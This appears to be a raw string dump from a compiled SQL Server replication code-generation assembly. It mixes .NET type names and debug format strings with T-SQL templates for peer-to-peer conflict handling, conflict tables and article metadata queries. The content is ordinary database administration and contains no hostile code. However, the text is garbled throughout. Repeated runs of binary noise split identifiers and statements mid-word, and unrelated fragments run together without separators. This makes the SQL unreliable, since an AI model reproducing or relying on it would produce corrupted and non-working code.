eDoubleReplaceSerializableAttributeSqlUserDefinedAggregateAttributeFormatReadInt32NotSupportedExceptionArgumentExceptionCompressionModeStringComparisonCompareSystem.GlobalizationCultureInfoget_InvariantCultureIFormatProviderEmptyStartsWithTrimEnumeratorGetEnumeratorget_CurrentMoveNextIsNullOrEmptyCommandTypeset_CommandTypeToCharArrayIsDBNullGetInt16GetInt32GetInt64GetFloatGetDoubleGuidGetGuidToByteArraySqlDecimalGetSqlDecimalget_BinDataGetDateTimeget_Ticksget_Yearget_Monthget_Dayget_Hourget_Minuteget_SecondSqlMoneyGetSqlMoneyCommandBehaviorSystem.ComponentModelComponentSqlParameterCollectionget_ParametersSqlParameterAddDbParameterset_ValueGetStringFlagsAttributeget_CharsFormatExceptionArgumentNullExceptionArgumentOutOfRangeExceptionNextResultIEnumerator`1System.CollectionsIEnumeratorop_EqualityToArrayArraySort<BaseColumnMetadataIEnumerableToICommonColumnMetadataIEnumerable>d__0IEnumerableSystem.Collections.Generic.IEnumerable<Microsoft.SqlServer.Replication.SqlCodeGeneration.ICommonColumnMetadata>.GetEnumeratorSystem.Collections.IEnumerable.GetEnumerator<>2__currentSystem.Collections.Generic.IEnumerator<Microsoft.SqlServer.Replication.SqlCodeGeneration.ICommonColumnMetadata>.get_CurrentSystem.Collections.IEnumerator.ResetSystem.IDisposable.Dispose<>1__state<>l__initialThreadIdSystem.Collections.IEnumerator.get_Current<>3__baseColumnMetadataEnumerable<columnMetadata>5__1<>4__this<>7__wrap2<>m__Finally3System.Collections.Generic.IEnumerator<Microsoft.SqlServer.Replication.SqlCodeGeneration.ICommonColumnMetadata>.CurrentSystem.Collections.IEnumerator.CurrentDebuggerHiddenAttributeSystem.ThreadingThreadget_CurrentThreadget_ManagedThreadIdCompilerGeneratedAttributeInvalidOperationExceptionMathMinSetSqlBytesSetBytesget_Maxget_UnicodeCopyToSetCharsSetSqlChars<.ctor>b__0<.ctor>b__1GetSqlStringGetSqlBooleanBinarySearchExecuteNonQuery<GenerateNoSyncSubscriptionSetupScript>b__4<GenerateNoSyncSubscriptionSetupScript>b__5ToSqlStringStringWriter<CommonGenerateCustomProcedureScript>b__6<CommonGenerateCustomProcedureScript>b__7<GenerateCustomProcedureScript>b__8<GenerateCustomProcedureScript>b__9<GenerateCustomProcedureScript>b__a<GenerateCustomProcedureScript>b__e<GenerateSyncTranCommandScript>b__f<GenerateSyncTranCommandScript>b__10SetInt32get_IsTrue<MakeConflictTable>b__13<MakeP2PConflictTable>b__14NullBufferedStreamSetInt64-ms-help://MS.SQLCC.v11=Generic Exception Handler: {0}I<PARTIAL_ROLLOVER cbRemainingBytes=  newBytes=0x{0,2:X2} cbData= tokenState=  oDatum=  oNextToken=  cbToken= 	 />
%<PARTIAL_DISPLAY1>%<PARTIAL_DISPLAY2>xact_seqno%originator_srvnameoriginator_dbarticle_id	typepartial_commandhashkey3originator_publication_id+origina!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(TJ)mE=v=Ator_db_versionoriginator_lsncommandcommand_id3context connection = trueMessage: Call Stack: )Debug dump: cbTSQL:  wParam:  iParam:  oDatum:  oNextToken: Number: , State: , Procedure: , LineNumber: , Server: , Source: originator_id<Reset />3<GetNextDatum  icbToken = align= fDataToken= iParam= wParam= oNextToken=% cbRemainingBytes=' cbAlignmentOffset= cbAdvance = oDatum=! cbLeadingBytes= tokenState=;<GetNextFragment  repl_dtype= storage= cbToken= bytes= >
	NULL0x-7<DisplayToken  fBeginQuote= fEndQuote='N'#</DisplayToken>
 =<GetCurrentToken  buf_command=>
-<metadata  repl_dtype=9<GetVarLength buf_command=0x'</GetCurrentToken>

<tsql>	</>
;parameters starting @ offset 
3<MoveByToken  tokenState=G<PARTIAL_ROLLOVER cbRemainingBytes= iParam_oDatum=' pRemainingBytes=0x</MoveByToken>
!baseOutputStreamchunkSize
bigintbinary({0})bitchar({0})nvarchar(10)	datedatetimenvarchar(27)datetime2({0})datetime2nvarchar(34)'datetimeoffset({0})datetimeoffset!decimal({0},{1})floatimageintmoneynchar({0})ntext!numeric({0},{1})nvarchar(max)nvarchar({0})	realsmalldatetimesmallintsmallmoneysql_variant	textnvarchar(16)time({0})	timetimestampbinary(8)tinyint!uniqueidentifierierarchyid]varbinary(max)[geometry][geography]varbinary({0})varchar(max)varchar({0})xml
ORDER(select %convert(varbinary(),),Cdatalength(convert(nvarchar(max),))5convert(bigint,datalength(-convert(nvarchar(max),/convert(varbinary(max),*
 from  where  order by y

select sc.column_id,

       sc.name,

       convert(int, sc.system_type_id),

       convert(int, sc.max_length),

       convert(int, isnull(sc.precision,0)),

       convert(int, isnull(sc.scale,0)),

       case when sc.system_type_id = 240 then (select quotename(schema_name(st.schema_id)) + '.' + quotename(st.name) from sys.types st where st.user_type_id = sc.user_type_id) else N'' end,

       convert(bit, sc.is_nullable),

       convert(bit, sc.is_computed),

       convert(bit, sc.is_identity),

       convert(bit, sc.is_filestream),

       convert(bit, sc.is_sparse)

  from sys.columns sc

 where sc.object_id = object_id(@quoted_qualified_object_name)

order by sc.column_id asc;@quoted_qualified_object_nameX2strObjectNamesys[{0}]]]][{0}].[{1}][lengthToFit... collate  + nchar(0)	 + '	    
[dbo].call 
scall 
xcall 
mcall 
rcall 
ccall 
vcall _msrepl_ccs

where {0} = {1}
  and if object_id(N'dbo.MSreplication_objects') is not null

    delete from dbo.MSreplication_objects where object_name = {0}go[if object_id({0}, 'P') > 0

    drop proc {1}if columnproperty(object_id(N'dbo.MSreplication_objects'), N'article', 'AllowsNull') is not null

exec sp_executesql 

    @statement = 

        N'insert dbo.MSreplication_objects (object_name, publisher, publisher_db, publication, article, object_type) 

            values 

        (@object_name, @publisher, @publisher_db, @publication, @article, ''P'')',

    @parameters = 

        N'@object_name sysname, @publisher sysname, @publisher_db sysname, @publication sysname, @article sysname',

    @object_name = {0},

    @publisher = {1},

    @publisher_db = {2},

    @publication = {3},

    @article = {4}$sys_p2p_cd_id    default#@MSp2pPostVersionconflict_Insert-Insert3		exec sys.sp_replrethrowUpdate-Update'		select @conflict_type = 3, @conflict_type_txt = N''Update-Delete'', @is_on_disk_winner = 1, @reason_text = formatmessage(22823), @reason_code = 0Delete-Update		select @conflict_type = 4, @conflict_type_txt = N''Delete-Delete'', @is_on_disk_winner = 1, @reason_text = formatmessage(22818)begin catch7if @@error in (2627, 2601) #if @@rowcount = 0begin  I	declare @cur_version varbinary(32) 7		,@conflict_type int = {0}[		,@conflict_type_txt nvarchar(20) = N''{0}''/		,@reason_code int = 1I		,@reason_text nvarchar(720) = NULL;		,@is_on_disk_winner bit = 0=		,@is_incoming_winner bit = 0G		,@peer_id_current_node int = NULL1		,@peer_id_incoming intA		,@tranid_incoming nvarchar(40)/		,@peer_id_!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(UJ-?v=Aon_disk int?		,@tranid_on_disk nvarchar(40)	select @peer_id_incoming = sys.fn_replvarbintoint(@MSp2pPostVersion)		,@tranid_incoming = sys.fn_replp2pversiontotranid(@MSp2pPostVersion)_	select @cur_version = $sys_p2p_cd_id from {0} )	if @@rowcount = 0  		{0}
	else 	begin  		select @peer_id_on_disk = sys.fn_replvarbintoint(@cur_version)			,@tranid_on_disk = sys.fn_replp2pversiontotranid(@cur_version)U		if(@peer_id_incoming > @peer_id_on_disk)=			set @is_incoming_winner = 1
		else;			set @is_on_disk_winner = 1
	end  Q		select @peer_id_current_node = p.originator_id from syspublications p join sysarticles a on a.pubid = p.pubid where a.objid = object_id({0}) and p.options & 0x1 = 0x1''Q	if (@peer_id_current_node is not null) 	begin 7		if (@reason_text is NULL)Y			if (@peer_id_incoming > @peer_id_on_disk)			begin  [				select @reason_text = formatmessage(22825[				select @reason_text = formatmessage(22822[				select @reason_text = formatmessage(22820u,@peer_id_incoming,@peer_id_on_disk,@peer_id_current_node)			end  			else  [				select @reason_text = formatmessage(22824[				select @reason_text = formatmessage(22821				select @reason_code = 2, @reason_text = formatmessage(22819e		create table #change_id (change_id varbinary(8))		insert {0} (dbo)			,__$originator_id1			,__$origin_datasource			,__$tranid)			,__$conflict_type!			,__$is_winner%			,__$reason_code%			,__$reason_text)			,__$update_bitmap'			,__$pre_version)W		output inserted.__$row_id into #change_id		select 3			,@peer_id_current_node+			,@peer_id_incoming)			,@tranid_incoming%			,@conflict_type/			,@is_incoming_winner!			,@reason_code!			,@reason_text			,@bitmap			,NULL)			,@MSp2pPreVersion%			,__$pre_version#			,__$change_id))			,@peer_id_on_disk'			,@tranid_on_disk-			,@is_on_disk_winnerM			,(select change_id from #change_id)		from {0} 	end S	if(@peer_id_incoming > @peer_id_on_disk)#	delete from {0} 		if exists(select * from syspublications p join sysarticles a on a.pubid = p.pubid where a.objid = object_id({0}) and p.options & 0x10 = 0x10)/			raiserror(22815, 10, -1, @conflict_type_txt, @peer_id_current_node, @peer_id_incoming, @tranid_incoming, @peer_id_on_disk, @tranid_on_disk) with log/			raiserror(22815, 16, -1, @conflict_type_txt, @peer_id_current_node, @peer_id_incoming, @tranid_incoming, @peer_id_on_disk, @tranid_on_disk) with log-		raiserror(22815, 10, -1, @conflict_type_txt, @peer_id_current_node, @peer_id_incoming, @tranid_incoming, @peer_id_on_disk, @tranid_on_disk) with log	end 
else  1	EXEC sys.sp_replrethrowend catch 'alter procedure {0})create procedure {0}  = NULLE	,@MSp2pPostVersion varbinary(32) asyif object_id({0},'U') is not null set identity_insert {1} onbegin try#	insert into {0}(			) values (	) end try{if object_id({0},'U') is not null set identity_insert {1} offend  ;if not exists (select * from -                where (-                      M(substring(@bitmap,{0},1) & {1} = {1})({0} != {1})({0} is null and {1} is not null or {0} is not null and {1} is null or {0} != {1})	 or 3

                      )-                  and ({0} = {1})W({0} = {1} or {0} is null and {1} is null) -                   or 1 = 0)

begin@c{0}! if ((@@microsoftversion >= 0x0A000000) and (object_id('syspublications') is not null) and (object_id('sysarticles') is not null))  begin exec('') end  if ((@@microsoftversion >= 0x0A000000) and ((object_id('syspublications') is null) or (object_id('sysarticles') is null)))  begin exec('

as

beginWif exists (select * 

             from {0}%            where U({0} = {1} or {0} is null and {1} is null)%              and 
returnupdate {0} set = !end

else

beginend

endcase substring(@bitmap,{0},1) & {1} when {1} then {2} else {3} end!convert(xml,{0})E$sys_p2p_cd_id = @MSp2pPostVersionG,$sys_p2p_cd_id = @MSp2pPostVersionand ($sys_p2p_cd_id = @MSp2pPreVersion or $sys_p2p_cd_id is null)  and {0} = {1}i  and msrepl_tran_version = @old_msrepl_tran_versionif @@rowcount = 0

    if @@microsoftversion>0x!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(V7KEv=A07320000

        exec sp_MSreplraiserror 20598cupdate {0} set $sys_p2p_cd_id = @MSp2pPostVersionif not (	if (Ksubstring(@bitmap,{0},1) & {1} = {1}) or

 ({0} = {1})S{0} = {1} or {0} is null and {1} is null) or

 not (

begin else

begin S@old_msrepl_tran_version uniqueidentifier'@bitmap binary({0})@MSp2pPreVersion varbinary(32) , @MSp2pPostVersion varbinary(32) 

as

begin  end'msrepl_tran_version@pkc{0}K@msrepl_tran_version uniqueidentifier	delete {0}?  and msrepl_tran_version = {0}a  and msrepl_tran_version = @msrepl_tran_version{0}{1}_{2}cftind_]if object_id({0}, 'U') > 0

    drop table {1}'create table {0}

( filestream sparse not null,
 null,9    origin_datasource nvarchar(255) null,

    conflict_type int null,

    reason_code int null,

    reason_text nvarchar(720) null,

    pubid int null,

    tranid nvarchar(40) null,

    insertdate datetime not null,

    qcfttabrowid uniqueidentifier default newid() not null

)]    origin_datasource nvarchar(255) null,

    conflict_type int null,

    reason_code int null,

    reason_text nvarchar(720) null,

    pubid int null,

    tranid nvarchar(40) null,

    insertdate datetime not null,

    qcfttabrowid uniqueidentifier default newid() not null rowguidcol unique

)Ccreate unique index {0} on {1}

(A    tranid,

    qcfttabrowid

)alteredColumns50x{0}{1}{2}{3}{4}{5}{6}{7}X8, 
'null'01N'null'id from MSsubscription_agents where update_mode > 0 and UPPER(publisher) = UPPER(+) and publisher_db = ' and publication = qdelete from MSsubscription_articlecolumns where artid = 1 and agent_id = (select Wif (@@microsoftversion >= 0x09000000) begin insert into MSsubscription_articlecolumns (artid, colid, agent_id) select 	 end9exec sys.sp_addsynctriggers , 'NULL', 2, 1Yif @@microsoftversion<0x07320000 raiserror('', 16, -1)if (@@microsoftversion >= 0x09000000) begin exec sp_addqueued_artinfo if (@@microsoftversion < 0x09000000) begin exec sp_addqueued_artinfo Yif (@@microsoftversion >= 0x09000000) begin  and colid = if (@@microsoftversion >= 0x09000389) begin exec sp_addsynctriggerscore 9, 2, NULL, NULL, NULL, 1 endif (@@microsoftversion >= 0x080002C0 and @@microsoftversion < 0x09000389) begin exec sp_addsynctriggers if (@@microsoftversion >= 0x080002C0) begin exec sp_addsynctriggers , 2 endif (@@microsoftversion < 0x080002C0) begin exec sp_addsynctriggers Chunk--1 = 1

declare @original_concat_null_yields_null_setting bit

select @original_concat_null_yields_null_setting = case when (@@options & 4096) = 4096 then 1 else 0 end

set concat_null_yields_null on

declare @custom_scripting_proc_call nvarchar(4000)



-- Publication metadata

declare @publisher sysname

declare @publisher_db sysname

declare @publication sysname

declare @supports_immediate_sync_subscriptions bit

declare @pubid int

declare @supports_queued_subscriptions bit

declare @centralized_conflicts bit

declare @independent_agent bit

declare @replication_frequency int

			,@enabled_for_p2p_cd bit



-- Article metadata

declare @article sysname

declare @artid int

declare @objid int

declare @status int

declare @ins_cmd nvarchar(255) 

declare @upd_cmd nvarchar(255) 

declare @del_cmd nvarchar(255) 

declare @destination_object_name sysname

declare @destination_object_schema sysname

declare @schema_option_lodword int

declare @schema_option_hidword int

declare @qualified_quoted_ins_scripting_proc_name nvarchar(517)

declare @qualified_quoted_upd_scripting_proc_name nvarchar(517)

declare @qualified_quoted_del_scripting_proc_name nvarchar(517)

declare @generate_custom_procedures bit

declare @include_timestamp bit

declare @filter_clause nvarchar(max)



select @pubid = pubid,

       @publisher = publishingservername(),

       @publisher_db =db_name(),

       @publication = name,

       @supports_immediate_sync_subscriptions = case when allow_sync_tran = 1 then 1 else 0 end,

       @supports_queued_subscriptions = case when allow_queued_tran = 1 then 1 else 0 end,

       @ce!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(W7Kv=Antralized_conflicts = case when centralized_conflicts is null then 0 else convert(bit, centralized_conflicts) end,

       @independent_agent = case when independent_agent = 1 then 1 else 0 end,

       @replication_frequency = convert(int, repl_freq),

       @enabled_for_p2p_cd = case (options & 0x8) when 0x8 then 1 else 0 end

  from dbo.syspublications

 where name = @input_publication



select 'original_concat_null_yields_null_setting' = @original_concat_null_yields_null_setting,

       'publisher' = @publisher,

       'publisher_db' = @publisher_db,

       'publication' = @publication,

       'supports_immediate_sync_subscriptions' = @supports_immediate_sync_subscriptions,

       'supports_queued_subscriptions' = @supports_queued_subscriptions,

       'centralized_conflicts' = @centralized_conflicts,

       'independent_agent' = @independent_agent,

       'publication_id' = @pubid,

       'replication_frequency' = @replication_frequency,

       'enabled_for_p2p_cd' = @enabled_for_p2p_cd



declare @distributor sysname

if {0}

begin

    exec sys.sp_MSrepl_getdistributorinfo @distributor = @distributor output

    if @distributor is null

        raiserror(14071, 16, -1)    

    select 'distributor' = @distributor, 'upgrade immediate sync subscriber message' = formatmessage(21273)

end



if @input_article is null or rtrim(@input_article) = N'' or lower(@input_article) collate SQL_Latin1_General_CP1_CS_AS = 'all'

begin

    declare #article_cursor cursor local fast_forward for 

     select name,

            artid,

            objid,

            status,

            ins_cmd,

            upd_cmd,

            del_cmd,

            dest_table,            

            dest_owner,

            case when schema_option is null then 0 else convert(int, substring(schema_option, 1, 4)) end,

            case when schema_option is null then 0 else convert(int, substring(schema_option, 5, 4)) end,

            quotename(schema_name(convert(int,objectpropertyex(ins_scripting_proc, 'SchemaId')))) + N'.' + quotename(object_name(ins_scripting_proc)),

            quotename(schema_name(convert(int,objectpropertyex(upd_scripting_proc, 'SchemaId')))) + N'.' + quotename(object_name(upd_scripting_proc)),

            quotename(schema_name(convert(int,objectpropertyex(del_scripting_proc, 'SchemaId')))) + N'.' + quotename(object_name(del_scripting_proc)),

            convert(nvarchar(max), case when filter = 0 then null 

                                else

                                    case when (type & 0x03) = 0x03 then null

                                         else filter_clause

                                    end

                                end) 

       from dbo.sysarticles

      where pubid = @pubid

        and (type & 1) = 1

    for read only

end

else

begin

    declare #article_cursor cursor local fast_forward for 

     select name,

            artid,

            objid,

            status,

            ins_cmd,

            upd_cmd,

            del_cmd,

            dest_table,            

            dest_owner,

            case when schema_option is null then 0 else convert(int, substring(schema_option, 1, 4)) end,

            case when schema_option is null then 0 else convert(int, substring(schema_option, 5, 4)) end,

            quotename(schema_name(convert(int,objectpropertyex(ins_scripting_proc, 'SchemaId')))) + N'.' + quotename(object_name(ins_scripting_proc)),

            quotename(schema_name(convert(int,objectpropertyex(upd_scripting_proc, 'SchemaId')))) + N'.' + quotename(object_name(upd_scripting_proc)),

            quotename(schema_name(convert(int,objectpropertyex(del_scripting_proc, 'SchemaId')))) + N'.' + quotename(object_name(del_scripting_proc)),

            convert(nvarchar(max), case when filter = 0 then null 

                                else

                                    case when (type & 0x03) = 0x03 then null

                                         else filt!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(X7K0v=Aer_clause

                                    end

                                end) 

       from dbo.sysarticles

      where pubid = @pubid

        and (type & 1) = 1

        and name = @input_article

    for read only

end

open #article_cursor



fetch #article_cursor into @article, @artid, @objid, @status, @ins_cmd, @upd_cmd, @del_cmd, @destination_object_name, @destination_object_schema, @schema_option_hidword, @schema_option_lodword, @qualified_quoted_ins_scripting_proc_name, @qualified_quoted_upd_scripting_proc_name, @qualified_quoted_del_scripting_proc_name, @filter_clause

while @@fetch_status <> -1

begin

    -- Return indicator of whether generation of custom procedures is needed for this article

    select @generate_custom_procedures = case when (@schema_option_lodword & 2) = 2 then 1 else 0 end

    select 'generate_custom_procedures' = @generate_custom_procedures



    if {1}

    begin



        select @include_timestamp = case when (@status & 32) <> 0 then 1 else 0 end



        -- Return article meta data

        select 'artid' = @artid,

               'name' = @article,

               'ins_cmd' = @ins_cmd,

               'upd_cmd' = @upd_cmd,

               'del_cmd' = @del_cmd,

               'source_object_name' = object_name(@objid),

               'source_object_schema' = schema_name(objectproperty(@objid, 'SchemaId')),

               'destination_object_name' = @destination_object_name,

               'destination_object_schema' = @destination_object_schema,             

               'converts_user_defined_types_to_base_types' = case when (@schema_option_lodword & 0x20) = 0x20 then convert(bit,1) else convert(bit,0) end,

               'converts_xml_to_ntext' = case when (@schema_option_lodword & 0x10000000) = 0x10000000 then convert(bit,1) else convert(bit,0) end,

               'converts_max_types_to_matching_non_max_types' = case when (@schema_option_lodword & 0x20000000) = 0x20000000 then convert(bit,1) else convert(bit,0) end,

               'converts_katmai_date_time_types_to_strings' = case when (@schema_option_hidword & 0x00000002) = 0x00000002 then convert(bit,1) else convert(bit,0) end,

               'converts_hierarchyid_to_varbinary_max' = case when (@schema_option_hidword & 0x00000020) = 0x00000020 then convert(bit,1) else convert(bit,0) end,

               'converts_large_user_defined_types_to_varbinary_max' = case when (@schema_option_hidword & 0x00000010) = 0x00000010 then convert(bit,1) else convert(bit,0) end,

               'converts_spatial_types_to_varbinary_max' = case when (@schema_option_hidword & 0x00000080) = 0x00000080 then convert(bit,1) else convert(bit,0) end,

               'keeps_timestamp' = case when @supports_queued_subscriptions = 1 or (@schema_option_lodword & 0x08) = 0x08 then convert(bit,1) else convert(bit,0) end,

               'keeps_identity' = case when (@schema_option_lodword & 0x04) = 0x04 then convert(bit,1) else convert(bit,0) end,

               'filestream_attribute' = case when (@schema_option_hidword & 0x00000001) = 0x00000001 and (@schema_option_lodword & 0x20000000) = 0x00000000 then convert(bit,1) else convert(bit,0) end,

               'sparse_attribute' = case when (@schema_option_hidword & 0x00000200) = 0x00000200 then convert(bit,1) else convert(bit,0) end,

               'has_user_defined_insert_custom_procedure_scripter' = case when @qualified_quoted_ins_scripting_proc_name is not null then convert(bit,1) else convert(bit,0) end,

               'has_user_defined_update_custom_procedure_scripter' = case when @qualified_quoted_upd_scripting_proc_name is not null then convert(bit,1) else convert(bit,0) end,

               'has_user_defined_delete_custom_procedure_scripter' = case when @qualified_quoted_del_scripting_proc_name is not null then convert(bit,1) else convert(bit,0) end,

               'filter_clause' = @filter_clause



        -- Metadata for scripting synctran commands

        if {2}

        begin

            !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(Y7K!v=Adeclare @automatic_identity_management bit

            declare @synctran_insert_procedure sysname

            declare @synctran_update_procedure sysname

            declare @synctran_delete_procedure sysname

            declare @synctran_procedure_schema sysname

            declare @conflict_table_name sysname

            declare @conflict_table_insert_procedure sysname



            set @automatic_identity_management = null

            set @synctran_insert_procedure = null

            set @synctran_update_procedure = null

            set @synctran_delete_procedure = null

            set @synctran_procedure_schema = null

            set @conflict_table_name = null

            set @conflict_table_insert_procedure = null



            select @automatic_identity_management = convert(bit, isnull(identity_support,0)),

                   @synctran_insert_procedure = object_name(sync_ins_proc),

                   @synctran_update_procedure = object_name(sync_upd_proc),

                   @synctran_delete_procedure = object_name(sync_del_proc),

                   @synctran_procedure_schema = schema_name(objectproperty(sync_ins_proc, 'SchemaId')),

                   @conflict_table_name = object_name(conflict_tableid),

                   @conflict_table_insert_procedure = object_name(ins_conflict_proc)

              from dbo.sysarticleupdates

             where pubid = @pubid

               and artid = @artid

        

            if {3}

            begin

                if @synctran_insert_procedure is null

                begin

                    raiserror (14043, 11, -1, '@synctran_insert_procedure', @stored_procedure_name)

                end



                if @synctran_update_procedure is null

                begin

                    raiserror (14043, 11, -1, '@synctran_update_procedure', @stored_procedure_name)

                end



                if @synctran_delete_procedure is null

                begin

                    raiserror (14043, 11, -1, '@synctran_delete_procedure', @stored_procedure_name)

                end



                if @supports_queued_subscriptions = 1 and @conflict_table_insert_procedure is null

                begin

                    raiserror (14043, 11, -1, '@conflict_table_insert_procedure', @stored_procedure_name)

                end

            end



            select N'automatic_identity_management' = @automatic_identity_management,

                   N'synctran_insert_procedure' = @synctran_insert_procedure,

                   N'synctran_update_procedure' = @synctran_update_procedure,

                   N'synctran_delete_procedure' = @synctran_delete_procedure,

                   N'synctran_procedure_schema' = @synctran_procedure_schema,

                   N'conflict_table_name' = @conflict_table_name,

                   N'conflict_table_insert_procedure' = @conflict_table_insert_procedure

            

            if {4}

            begin

                select 'column_id' = convert(int, colid),

                       'name' = colname

                  from #tran_columnstable

                order by colid asc 

            end

        end



        -- Column and primary key metadata will be returned only if it is 

        -- necessary to script any custom procedures of this article using

        -- the default custom procedure generator

        if {5} 

        begin

            -- Column metadata

            select sc.column_id,

                   sc.name,

                   quotename(sc.name),

                   convert(int, sc.system_type_id),

                   convert(int, sc.max_length),

                   convert(int, isnull(sc.precision,0)),

                   convert(int, isnull(sc.scale,0)),

                   case when sc.system_type_id = 240 then 

                            (select case when st.schema_id = 4 then quotename(st.name) else quotename(schema_name(st.schema_id)) + '.' + quotename(st.name) end from sys.types st !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(Z7K%"Uv=Awhere st.user_type_id = sc.user_type_id) 

                        else N'' end,

                   convert(bit, sc.is_nullable),

                   convert(bit, sc.is_computed),

                   convert(bit, sc.is_identity),

                   convert(bit, sc.is_filestream),

                   convert(bit, sc.is_sparse),

                   convert(bit, isnull(columnproperty(@objid, sc.name, 'IsIdNotForRepl'),0))

              from sys.columns sc

             where sc.object_id = @objid

               and (exists (select * from dbo.sysarticlecolumns sac

                             where sac.artid = @artid

                               and sac.colid = sc.column_id)

                    or

                   (@include_timestamp = 1 and sc.system_type_id = 189))

            order by sc.column_id asc



            -- Primary key column list (clustered index column list for indexed view article)

            if convert(int,objectproperty(@objid,'IsView')) = 1

            begin

                select sc.name

                  from sys.columns sc

                inner join sys.indexes si

                    on sc.object_id = si.object_id

                   and si.object_id = @objid

                   and sc.object_id = @objid

                   and si.type = 1

                inner join sys.index_columns sic

                    on sc.object_id = sic.object_id

                   and sic.object_id = @objid

                   and si.index_id = sic.index_id

                   and sc.column_id = sic.column_id

                   and sic.is_included_column = 0

                 order by sic.key_ordinal asc

            end

            else

            begin

                select sc.name

                  from sys.columns sc

                inner join sys.indexes si

                    on sc.object_id = si.object_id

                   and si.object_id = @objid

                   and sc.object_id = @objid

                   and si.is_primary_key = 1

                inner join sys.index_columns sic

                    on sc.object_id = sic.object_id

                   and sic.object_id = @objid

                   and si.index_id = sic.index_id

                   and sc.column_id = sic.column_id

                   and sic.is_included_column = 0

                 order by sic.key_ordinal asc

            end



            -- Return unique indexes column lists only if 

            -- the publication supports updateable subscriptions

            if {6}

            begin

                select convert(int, si.index_id),

                       si.filter_definition,

                       sc.name

                  from sys.columns sc

                inner join sys.indexes si

                    on sc.object_id = si.object_id

                   and si.object_id = @objid

                   and sc.object_id = @objid

                   and si.is_unique = 1

                inner join sys.index_columns sic

                    on sc.object_id = sic.object_id

                   and sic.object_id = @objid

                   and si.index_id = sic.index_id

                   and sc.column_id = sic.column_id

                   and sic.is_included_column = 0

                 where si.has_filter = 0 or 

            -- checks if any of the columns referenced by the index filter

            -- is not in the replicated vertical partition

            not exists (select sed.referenced_minor_id 

                          from sys.sql_expression_dependencies sed

                         where sed.referencing_id = si.object_id

                           and sed.referencing_minor_id = si.index_id

                           and sed.referencing_class = 7

                           and sed.referenced_id = si.object_id

                           and sed.referenced_minor_id not in

                           (select inner_sc.column_id

                              from sys.columns inner_sc

                             w!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<([7K)dE >v=Ahere inner_sc.object_id = @objid

                               and (exists (select * from dbo.sysarticlecolumns sac 

                                             where sac.artid = @artid

                                               and sac.colid = inner_sc.column_id)

                                    or

                                    (@include_timestamp = 1 and inner_sc.system_type_id = 189))))

                 order by sic.index_id asc, sic.key_ordinal asc

            end

        end



        if {7}

        begin

            -- Call user-defined scripting procedures specified for this article

            declare @temptext table (colidx int identity, col nvarchar(max) collate database_default)

            if {8}

            begin

                if @qualified_quoted_ins_scripting_proc_name is not null

                begin

                    select @custom_scripting_proc_call = N'exec ' + @qualified_quoted_ins_scripting_proc_name + ' @artid'

                    insert @temptext(col) exec sys.sp_executesql @stmt = @custom_scripting_proc_call,

                        @params = N'@artid int',

                        @artid = @artid

                    insert @temptext(col) values ('go')

                    select col from @temptext order by colidx

                    delete from @temptext

                end

            end



            if {9}

            begin

                if @qualified_quoted_upd_scripting_proc_name is not null

                begin

                    select @custom_scripting_proc_call = N'exec ' + @qualified_quoted_upd_scripting_proc_name + ' @artid'

                    insert @temptext(col) exec sys.sp_executesql @stmt = @custom_scripting_proc_call,

                        @params = N'@artid int',

                        @artid = @artid

                    insert @temptext(col) values ('go')

                    select col from @temptext order by colidx

                    delete from @temptext    

                end

            end

        

            if {10}

            begin

                if @qualified_quoted_del_scripting_proc_name is not null

                begin

                    select @custom_scripting_proc_call = N'exec ' + @qualified_quoted_del_scripting_proc_name + ' @artid'

                    insert @temptext(col) exec sys.sp_executesql @stmt = @custom_scripting_proc_call,

                        @params = N'@artid int',

                        @artid = @artid

                    insert @temptext(col) values ('go')

                    select col from @temptext order by colidx

                    delete from @temptext

                end

            end

        end

    end

    fetch #article_cursor into @article, @artid, @objid, @status, @ins_cmd, @upd_cmd, @del_cmd, @destination_object_name, @destination_object_schema, @schema_option_hidword, @schema_option_lodword, @qualified_quoted_ins_scripting_proc_name, @qualified_quoted_upd_scripting_proc_name, @qualified_quoted_del_scripting_proc_name, @filter_clause

end

close #article_cursor

deallocate #article_cursor

%@input_publication@input_article-@stored_procedure_name5context connection = true;?set concat_null_yields_null offread onlysync tranqueued tranfailoverqueued failoverupdateModeIF (@@microsoftversion >= 0x09000000) BEGIN EXEC sys.sp_MSrepl_setNFR @schema = #, @object_name = 	 ENDcsp_MSgeneratenosyncsubscriptionsetupscript_sqlclr@replication_frequency = 0 and @generate_custom_procedures = 1 and (@qualified_quoted_ins_scripting_proc_name is null or @qualified_quoted_upd_scripting_proc_name is null or @qualified_quoted_del_scripting_proc_name is null)}@replication_frequency = 0 and @generate_custom_procedures = 1}@generate_custom_procedures = 1 and @replication_frequency = 0@supports_immediate_sync_subscriptions = 1 or @supports_queued_subscriptions = 1?sp_MSscriptcustominsproc_sqlclrc@qualified_quoted_ins_scripting_proc_name is null?sp_MSscriptcustomupdproc_sqlclrc@qualif!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(\7K-!Ev=Aied_quoted_upd_scripting_proc_name is null?sp_MSscriptcustomdelproc_sqlclrc@qualified_quoted_del_scripting_proc_name is nullQsp_MSscriptpublicationcustomprocs_sqlclr7@qualified_quoted_ins_scripting_proc_name is null or @qualified_quoted_upd_scripting_proc_name is null or @qualified_quoted_del_scripting_proc_name is null1context connection=true;%select pub.name, art.name

  from dbo.sysarticles art

inner join dbo.syspublications pub

    on art.artid = @artid

   and art.pubid = pub.pubid
@artidarticleIdqselect del_cmd from dbo.sysarticles where artid = @artidqselect ins_cmd from dbo.sysarticles where artid = @artidartidcommands;sp_MSscript_synctran_commandspublication;sp_MSmakeconflicttable_sqlclrE@supports_queued_subscriptions = 19

declare @conflict_tableid int

select @conflict_tableid = object_id(@quoted_qualified_conflict_table_name)

if @conflict_tableid is not null

begin

    update dbo.sysarticleupdates 

       set conflict_tableid = @conflict_tableid

     where artid = @artid and pubid = @pubid

endK@quoted_qualified_conflict_table_name
